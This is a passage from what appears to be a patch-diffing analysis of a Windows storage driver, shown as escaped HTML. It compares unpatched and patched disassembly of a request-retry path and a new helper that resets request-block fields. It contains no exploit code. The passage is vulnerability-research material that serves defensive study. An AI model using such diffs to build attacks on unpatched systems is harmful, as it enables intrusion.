&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004B6A&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004B6F&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;or&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ax&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; requeue flag&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004B73&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004B75&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="no"&gt;EBh&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004B7C&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="no"&gt;F3h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cl&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004B82&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;428&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004B89&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;420&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004B90&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="no"&gt;EAh&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cl&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004B96&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;410&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004B9D&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004BA0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004BA2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;jnb&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1C0004BA9&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004BA4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;inc&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004BA6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; conditional retry-counter bump&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004BA9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;PATCHED — same path, now calling the helper (inside &lt;code&gt;IdeProcessCompletedRequests&lt;/code&gt;)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0007F87&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;404&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0007F8C&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="no"&gt;E8h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0007F93&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1C0007FA2&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0007F95&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r13&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="no"&gt;EAh&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0007F9D&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;def_1C0003EC8&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0007FA2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r13&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="no"&gt;EAh&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0007FAA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="no"&gt;Fh&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0007FAC&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;44&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; &amp;#39;D&amp;#39;&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0007FAE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1C0007FB9&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0007FB0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0007FB5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;or&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ax&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; requeue flag&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0007FB9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0007FBC&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;PrepareCrbForRetry&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; sub_1C000C700&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;PATCHED — &lt;code&gt;PrepareCrbForRetry (sub_1C000C700)&lt;/code&gt; helper body&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C000C700&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C000C702&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;word&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x3EB&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C000C709&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x3F3&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cl&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C000C70F&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x428&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C000C716&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x420&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C000C71D&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x3EA&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cl&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C000C723&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x410&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C000C72A&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x23&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C000C72D&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C000C72F&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;jnb&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="mi"&gt;0x1C000C736&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C000C731&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;inc&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C000C733&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x23&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; conditional retry-counter bump&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C000C736&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x28&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C000C739&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;retn&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Recycle site — identical in both builds (no reset added here)&lt;/h3&gt;
